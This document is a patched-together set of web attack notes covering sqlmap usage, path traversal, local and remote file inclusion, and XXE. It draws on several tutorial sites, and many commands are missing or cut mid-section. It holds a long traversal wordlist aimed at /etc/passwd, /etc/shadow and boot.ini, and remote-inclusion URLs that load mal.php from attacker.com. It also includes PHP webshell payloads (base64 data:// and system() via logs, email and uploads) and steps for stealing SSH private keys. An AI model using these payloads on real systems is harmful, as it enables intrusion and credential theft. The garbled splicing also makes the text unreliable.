interface that fronts your database needs to be re-written to block that attack.
• Stacked queries
• Out-of-band attacks
The definitions used by the sqlmap developers don’t map exactly to the categories used by
OWASP. The list includes both types of Classic SQL injection and both types of Blind SQL
injection.
The stacked queries attack strategy performed by sqlmap should cover what OWASP
terms DBMS-specific attacks. The Combined attack category of OWASP isn’t relevant to the
SQL Injection-focused sqlmap detection system.
Logically, if you can ensure that your system isn’t vulnerable to an SQL injection attack, it
automatically won’t be vulnerable to a combined attack. However, you should use other pen
testing tools to check whether your site is vulnerable to DDoS attacks, XSS, or DNS hijacking.
All systems are permanently liable to authentication attacks – you need to ensure a secure
identity and access management strategy in order to protect your business from the threat
of authentication cracking.
The sqlmap system is written in Python, so you have to install Python 2.6 or later on your
computer in order to run sqlmap. The current version as at July 2021 is 3.9.
To find out whether you have Python installed, on Windows open a command prompt and
enter python –version. If you don’t have Python, you will see a message telling you to type
python again without parameters. Type python and this will open up the Microsoft Store with
the Python package set up to download. Click on the Get button and follow installation
instructions.
If you have macOS type python –version. If you get an error message, enter the following
commands:
$ xcode-select --install
In those lines, the $ represents the system prompt – don’t type that in.
Install sqlmap
To install sqlmap:
2. If you have Windows, click on the Download .zip file button. If you have macOS or
Linux, click on the Download .tar.gz file button.
Your system will automatically name the directory the same as the compressed file. However,
this is a very long name, so opt to have the new directory called just sqlmap. It doesn’t matter
where on your computer you create that directory.
Running sqlmap
The sqlmap system is a command-line utility. There isn’t a GUI interface for it. So, go to the
command line on your computer to use sqlmap. Change to the sqlmap directory that you
created in order to run the utility. You do not have to compile any program.
The program that you run in order to use sqlmap is called sqlmap.py. It will not run unless you
add an option to the end of the program name.
-u URL
Format: -u "http://www.target.com/path/file.htm?variable=1"
-d DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
-m BULKFILE
-r REQUESTFILE
--purge-output As above
-h Basic help
You can’t run sqlmap without one of those options. There are many other options and it is
often necessary to string several options in sequence on a command line.
A full attack requires so many options and inputs that it is easier to put all of those options in a
file and then call the file instead of typing them all in. In this scenario, it is a convention to
store all of the options in a text file with the extension .INI. You would include this list of
options in the command line with the -c option followed by the file name. This method cuts
out repeating typing in the whole long command over and over again to account for spelling
mistakes or format errors.
There are many other switches that you can add to a sqlmap command. Option parameters
that are character-based should be enclosed in double-quotes (“ “), numerical parameters
should not be quoted.
In the interests of brevity within this guide, we have presented all of these in a PDF file:
Click on the image above to open the full sqlmap Cheat Sheet JPG in a new window, or click
here to download the sqlmap Cheat Sheet PDF.
The large number of options available for sqlmap is daunting. There are too many options to
comb through in order to work out how to form an SQL injection attack. The best way to
acquire the knowledge of how to perform the different types of attacks is to learn by example.
To experience how a sqlmap test system proceeds, try the following test run, substituting the
URL of your site for the marker <URL>. You need to include the schema on the front of the URL
(http or https).
This command will trigger a run-through of all of the sqlmap procedures, offering you options
over the test as it proceeds.
The system will show the start time of the test. Each report line includes the time that each
test completed.
The sqlmap service will test the connection to the Web server and then scan various aspects of
the site. These attributes include the site’s default character set, a check for the presence
of defense systems, such as a Web application firewall or intrusion detection systems.
The next phase of the test identifies the DBMS used for the site. It will attempt a series of
attacks to probe the vulnerability of the site’s database. These are:
• A GET input attack – this identifies the susceptibility to Classic SQLI and XSS attacks
• DBMS-specific attacks
• The system will ask for a level and a risk value. If these are high enough, it will run a
time-based blind SQLI
• A UNION-based SQLI if the level and risk values are high enough
• Stacked queries
In answer to the banner option used in this run, sqlmap completes its run by fetching the
database banner. Finally, all extracted data with explanations of their meanings are written
to a log file.
As you can see, without many options given on the command, the sqlmap system will run
through a standard series of attacks and will check with the user for decisions over the depth
of the test as the test progresses.
A small change in the command will run the same battery of tests but by using a POST as a test
method instead of a GET.
A change of just one word in the first command used for the previous section will give you a
range of tests to see whether the credentials management system of your database has
weaknesses.
Again, you need to substitute your site’s URL for the <URL> marker.
When you run this command, sqlmap will initiate a series of tests and give you a number of
options along the way.
The sqlmap run will try a time-based blind SQLI and then a UNION-based blind attack. It will
then give you the option to store password hashes to a file for analysis with another tool and
then gives the opportunity for a dictionary-based attack.
The services will try a series of well-known user account names and cycle through a list of
often-used passwords against each candidate username. This is called a “cluster bomb” attack.
The files suite of sqlmap includes a file of payloads for this attack but you can supply your own
file instead.
Whenever sqlmap hits a username and password combination, it will display it. All actions for
the run are then written to a log file before the program ends its run.
Information is power and hackers first need to know what database instances you have on
your system in order to hack into them. You can find out whether this basic information can be
easily accessed by intruders with the following command:
This test will include time-based, error-based, and UNION-based SQL injection attacks. It will
then identify the DBMS brand and then list the database names. The information derived
during the test run is then written to a log file as the program terminates.
Investigate a little further and get a list of the tables in one of those databases with the
following command.
Enter the name of one of the database instances that you got from the list in the first query of
this section.
This test batch includes time-based, error-based, and UNION-based SQL injection attacks. It
will then list the names of the tables that are in the specified database instance. This data is
written to a log file as the program finishes.
Get the contents of one of those tables with the following command:
The test will perform a UNION-based SQL injection attack and then query the named table,
showing its records on the screen. This information is written to a log file and then the
program terminates.
The commands shown in this guide are just the start. Successful execution of these tests will
give you the confidence to look through our sqlmap Cheat Sheet PDF and try other SQL
injection tests.
Generic
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default
answers
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Retrieve Information
Internal
DB data
Injection place
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
#Inside cookie
#PUT Method
--string="string_showed_when_TRUE"
Eval
Sqlmap allows the use of -e or --eval to process each payload before sending it with some
python oneliner. This makes very easy and fast to process in custom ways the payload before
sending it. In the following example the flask cookie session is signed by flask with the known
secret before sending it:
Shell
#Exec command
#Simple Shell
Read File
--file-read=/etc/passwd
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default
answers
Read this post about how to perform simple and complex second order injections with
sqlmap.
Customizing Injection
Set a suffix
Prefix
Tamper
Remember that you can create your own tamper in python and it's very simple. You can find a
tamper example in the Second Order Injection page here.
--tamper=name_of_the_tamper
Tamper Description
commalesslimit.py Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
All but the most simple web applications have to include local
resources, such as images, themes, other scripts, and so on. Every
time a resource or file is included by the application, there is a risk that
an attacker may be able to include a file or remote resource you didn’t
authorize.
• Prefer working without user input when using file system calls
• Use indexes rather than actual portions of file names when
templating or using language files (ie value 5 from the user
submission = Czechoslovakian, rather than expecting the user to
return “Czechoslovakian”)
• Ensure the user cannot supply all parts of the path – surround it
with your path code
• Validate the user’s input by only accepting known good – do not
sanitize the data
• Use chrooted jails and code access policies to restrict where the
files can be obtained or saved to
• If forced to use user input for file operations, normalize the input
before using in file io API’s, such as normalize().
See the OWASP Testing Guide article on how to test for path traversal
vulnerabilities.
Description
Request variations
and so on.
OS specific
UNIX
Root directory: “ / “
Directory separator: “ / “
WINDOWS
?file=secret.doc%00.pdf
will result in the Java application seeing a string that ends with “.pdf”
and the operating system will see a file that ends in “.doc”. Attackers
may use this trick to bypass validation routines.
Examples
Example 1
The following examples show how the application deals with the
resources in use.
http://some_site.com.br/get-files.jsp?file=report.pdf
http://some_site.com.br/get-page.php?home=aaa.html
http://some_site.com.br/some-page.asp?page=index.html
http://some_site.com.br/get-
files?file=../../../../some dir/some file
http://some_site.com.br/../../../../some dir/some file
http://some_site.com.br/../../../../etc/shadow
http://some_site.com.br/get-files?file=/etc/passwd
Example 2
http://some_site.com.br/some-page?page=http://other-
site.com.br/other-page.htm/malicius-code.php
Example 3
http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi
Example 4
<?php
$template = 'blue.php';
if ( is_set( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/c
sh
http://testsite.com/get.php?f=list
http://testsite.com/get.cgi?f=2
http://testsite.com/get.asp?f=test
https://owasp.org/www-community/attacks/Path_Traversal
Consider a shopping application that displays images of items for sale. Images
are loaded via some HTML like the following:
<img src="/loadImage?filename=218.png">
The loadImage URL takes a filename parameter and returns the contents of
the specified file. The image files themselves are stored on disk in the
location /var/www/images/. To return an image, the application appends the
requested filename to this base directory and uses a filesystem API to read the
contents of the file. In the above case, the application reads from the following
file path:
/var/www/images/218.png
https://insecure-
website.com/loadImage?filename=../../../etc/passwd
This causes the application to read from the following file path:
/var/www/images/../../../etc/passwd
The sequence ../ is valid within a file path, and means to step up one level in
the directory structure. The three consecutive ../ sequences step up
from /var/www/images/ to the filesystem root, and so the file that is actually
read is:
/etc/passwd
On Unix-based operating systems, this is a standard file containing details of
the users that are registered on the server.
On Windows, both ../ and ..\ are valid directory traversal sequences, and an
equivalent attack to retrieve a standard operating system file would be:
https://insecure-
website.com/loadImage?filename=..\..\..\windows\win.ini
Many applications that place user input into file paths implement some kind of
defense against path traversal attacks, and these can often be circumvented.
You might be able to use an absolute path from the filesystem root, such
as filename=/etc/passwd, to directly reference a file without using any
traversal sequences.
https://portswigger.net/web-security/file-path-traversal
Let's say each user has their own directory which stores
confidential data. To access the files, the user passes a path to
relative to this directory.
../admin/adminPasswords.txt
myFolder/../../admin/adminPasswords.txt
At first, they access the myFolder directory and then the directory
containing each user's data. Then, attackers access the admin
directory and get the file.
response.Write(content);
}
The user should only have access to the directory, whose path is
written in the userDirectory variable. The Path.Combine method
here has one important feature: if one of its arguments is an
absolute path, then all previously passed arguments are ignored:
In such cases, the system must check whether the path passed by
the user is relative. For example, in Windows, you can detect an
absolute path by searching for ":". Absolute paths always have this
character. But a file name or a directory name cannot contain ":".
https://pvs-studio.com/en/blog/terms/6470/
Step 2: Open up your Kali Linux terminal and move to Desktop using the
following command.
cd Desktop
Step 3: You are on Desktop now create a new directory called DotDotPwn
using the following command. In this directory, we will complete the
installation of the DotDotPwn tool.
mkdir DotDotPwn
Step 8: Once again to discover the contents of the tool, use the below
command.
ls
Step 9: To install missing modules you can use the following command as
root.
sudo perl -MCPAN -e "install <MODULE_NAME>"
Step 10: Now we are done with our installation, Use the below command to
view the help (gives a better understanding of the tool) index of the tool.
./dotdotpwn.pl
Working with DotDotPwn Tool on Kali Linux OS
Example 1: HTTP Module
sudo ./dotdotpwn.pl -m http -h 34.218.62.116 -O -X -M POST -e
.php -E
1. In this example, We are using the HTTP Module. We have specified the
Module in -m tag
Related Articles
1.VAF - Fast and Advance Fuzzer Tool in Kali Linux
2.ffuf - Fast Web Fuzzer Linux Tool Written in Go
3.Packer-Fuzzer - Fast And Efficient Scanner For Security Detection Of Websites
4.Webkiller v2.0 - Tool Information Gathering tool in Kali Linux
5.Cewl Tool - Creating Custom Wordlists Tool in Kali Linux
6.Tool-X - Hacking Tool Installer in Kali Linux
7.Shell Script to Delete a File from Every Directory Above the Present Working Directory
8.mindepth and maxdepth in Linux find() command for limiting search to a specific
directory.
9.How to Get Total Size of a Directory in Linux
10.Watcherd Shell Listener for Directory Changes in Linux
https://www.geeksforgeeks.org/dotdotpwn-directory-traversal-fuzzer-tool-in-linux/
It's a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software
such as HTTP/FTP/TFTP servers, Web platforms such as CMSs, ERPs, Blogs, etc.
Also, it has a protocol-independent module to send the desired payload to the host and port
specified. On the other hand, it also could be used in a scripting way using the STDOUT
module.
It's written in perl programming language and can be run either under OS X, *NIX or Windows
platforms. It's the first Mexican tool included in BackTrack Linux (BT4 R2).
• HTTP
• HTTP URL
• FTP
• TFTP
• STDOUT
REQUIREMENTS
• Nmap (http://www.nmap.org) Only if you plan to use the OS detection feature (needs
root privileges)
Perl modules:
• Net::FTP
• Time::HiRes
• Socket
• IO::Socket
• Getopt::Std
You can easily install the missing modules doing the following as root:
# perl -MCPAN -e "install <MODULE_NAME>"
or
# cpan
https://github.com/wireghoul/dotdotpwn
Wordlist
../../../../../../../../.
./../../../etc/hosts
%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../et
c/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../et
c/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2
e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2
e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%2
5%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%
25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%2
5%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%2
5%5c..%25%5c..%25%5c..%25%5c..%25%5c..%
25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%
25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winn
t/desktop.ini
\\'/bin/cat%20/etc/passwd\\'
\\'/bin/cat%20/etc/shadow\\'
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../bo
ot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2
e%2e/%2e%2e/%2e%2e/boot.ini
https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/Traversal.txt
https://pentestlab.blog/2012/06/29/directory-traversal-cheat-sheet/
File Inclusion
Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the
code and the server will execute it). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load
by the server.
Linux
Mixing several *nix LFI lists and adding more paths I have created this one:
GitHub
A list that uses several techniques to find the file /etc/password (to check if the vulnerability
exists) can be found here
Windows
Merging several lists I have created:
Auto_Wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_Wordlists
GitHub
Try also to change / for \ Try also to remove C:/ and add ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists)
can be found here
OS X
Check the LFI list of linux.
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
Encoding
You could use non-standard encondings like double URL encode (and others):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
http://example.com/index.php?page=../../../etc/passwd # depth of 3
• try and guess the name of a folder in the current directory by adding the folder
name (here, private), and then going back to /etc/passwd:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
The following sequence of commands allows the generation of payloads using sed (1) as input
for url fuzzing tools such as ffuf (2):
Of course, adapt there payloads to your needs in terms of depth / location / input directory
list.
Path truncation
Bypass the append of more chars at the end of the provided string (bypass of:
$_GET['param']."php")
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD
MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to
delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5
C../%5C../%5C../etc/passwd
Basic RFI
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
FROM LFI TO ARBITRARY CODE EXECUTION
Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could
be useful to write arbitrary text or make a function like include process arbitrary text. For
more info check:
Top 25 parameters
Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI)
vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
• String Filters:
o string.rot13
o string.toupper
o string.tolower
o string.strip_tags:
Remove tags from the data (everything between
"<" and ">" chars)
▪ Note that this filter has disappear from the modern versions of
PHP
• Conversion Filters
o convert.base64-encode
o convert.base64-decode
o convert.quoted-printable-encode
o convert.quoted-printable-decode
o convert.iconv.* : Transforms to a different
encoding(convert.iconv.<input_enc>.<output_enc>) . To get the
list of all the encodings supported run in the console: iconv -l
Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could
be useful to write arbitrary text or make a function like include process arbitrary text. For more
info check LFI2RCE via php filters.
• Compression Filters
o zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
o zlib.inflate: Decompress the data
• Encryption Filters
o mcrypt.* : Deprecated
o mdecrypt.* : Deprecated
• Other Filters
o Running in php var_dump(stream_get_filters()); you can find a
couple of unexpected filters:
▪ consumed
▪ dechunk: reverses HTTP chunked encoding
▪ convert.*
# String Filters
echo
file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:
///etc/passwd");
## string.string_tags example
echo
file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php
php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-
decode/resource=data://plain/text,aGVsbG8=");
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-
decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-
encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-
16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-
encode/resource=file:///etc/passwd");
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to
exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1
and 2 respectively (not sure how this could be useful in an attack)
zip:// and rar://
Upload a Zip or Rar file with a PHPShell inside and access it. In order to be able to abuse the rar
protocol it need to be specifically activated.
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo
base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQn
XSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo
base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXS
k7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with :
http://example.com/index.php?page=data:application/x-httpd-
php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
expect://
Expect has to be activated. You can execute code using this.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Specify your payload in the POST parameters
http://example.com/index.php?page=php://input
phar://
A .phar file can be also used to execute PHP code if the web is using some function like
include to load the file.
create_phar.php
<?php
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->stopBuffering();
And you can compile the phar executing the following line:
A file called test.phar will be generated that you can use to abuse the LFI.
If the LFI is just reading the file and not executing the php code inside of it, for example using
functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or
filesize(). You can try to abuse a deserialization occurring when reading a file using the phar
protocol. For more information read the following post:
phar:// deserialization
More protocols
Check more possible protocols to include here:
will successfully exploit PHP code for a "file" parameter that looks like this:
It's also possible to get RCE in a vulnerable "assert" statement using the system() function:
LFI2RCE
Basic RFI
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Note that if you use double quotes for the shell instead of simple quotes, the double quotes
will be modified for the string "quote;", PHP will throw an error there and nothing else will be
executed.
This could also be done in other logs but be careful, the code inside the logs could be URL
encoded and this could destroy the Shell. The header authorisation "basic" contains
"user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted
inside this header. Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Via Email
Send a mail to a internal account (user@localhost) containing <?php echo
system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami
Via /proc/*/fd/*
1. 1.
2. 2.
Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the
/proc/self/environ file
Via upload
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']);
?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"
admin";
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9
rm8ndg3qbarhsbm2
Via ssh
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to
access <HOME>/.ssh/id_rsa
To Fatal Error
If you include any of the files /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7,
/usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).
I don't know how is this useful but it might be. ****Even if you cause a PHP Fatal Error, PHP
temporary files uploaded are deleted.
References
PayloadsAllTheThings PayloadsAllTheThings/tree/master/File%20Inclusion%20-
%20Path%20Traversal/Intruders
EN-Local-File-Inclusion-1.pdf
125KB
https://book.hacktricks.xyz/pentesting-web/file-inclusion
XML external entity injection (also known as XXE) is a web security vulnerability
that allows an attacker to interfere with an application's processing of XML data.
It often allows an attacker to view files on the application server filesystem, and
to interact with any back-end or external systems that the application itself can
access.
Some applications use the XML format to transmit data between the browser
and the server. Applications that do this virtually always use a standard library
or platform API to process the XML data on the server. XXE vulnerabilities arise
because the XML specification contains various potentially dangerous features,
and standard parsers support these features even if they are not normally used
by the application.
To perform an XXE injection attack that retrieves an arbitrary file from the
server's filesystem, you need to modify the submitted XML in two ways:
For example, suppose a shopping application checks for the stock level of a
product by submitting the following XML to the server:
<stockCheck><productId>381</productId></stockCheck>
]>
<stockCheck><productId>&xxe;</productId></stockCheck>
This XXE payload defines an external entity &xxe; whose value is the contents
of the /etc/passwd file and uses the entity within the productId value. This
causes the application's response to include the contents of the file:
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Aside from retrieval of sensitive data, the other main impact of XXE attacks is
that they can be used to perform server-side request forgery (SSRF). This is a
potentially serious vulnerability in which the server-side application can be
induced to make HTTP requests to any URL that the server can access.
In the following XXE example, the external entity will cause the server to make
a back-end HTTP request to an internal system within the organization's
infrastructure:
"http://internal.vulnerable-website.com/"> ]>
Many instances of XXE vulnerabilities are blind. This means that the application
does not return the values of any defined external entities in its responses, and
so direct retrieval of server-side files is not possible.
Blind XXE vulnerabilities can still be detected and exploited, but more advanced
techniques are required. You can sometimes use out-of-band techniques to find
vulnerabilities and exploit them to exfiltrate data. And you can sometimes trigger
XML parsing errors that lead to disclosure of sensitive data within error
messages.
In this situation, you cannot carry out a classic XXE attack, because you don't
control the entire XML document and so cannot define or modify
a DOCTYPE element. However, you might be able to
use XInclude instead. XInclude is a part of the XML specification that allows an
XML document to be built from sub-documents. You can place
an XInclude attack within any data value in an XML document, so the attack
can be performed in situations where you only control a single item of data that
is placed into a server-side XML document.
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
Some applications allow users to upload files which are then processed server-
side. Some common file formats use XML or contain XML subcomponents.
Examples of XML-based formats are office document formats like DOCX and
image formats like SVG.
For example, an application might allow users to upload images, and process or
validate these on the server after they are uploaded. Even if the application
expects to receive a format like PNG or JPEG, the image processing library that
is being used might support SVG images. Since the SVG format uses XML, an
attacker can submit a malicious SVG image and so reach hidden attack surface
for XXE vulnerabilities.
Most POST requests use a default content type that is generated by HTML
forms, such as application/x-www-form-urlencoded. Some web sites
expect to receive requests in this format but will tolerate other content types,
including XML.
Content-Length: 7
foo=bar
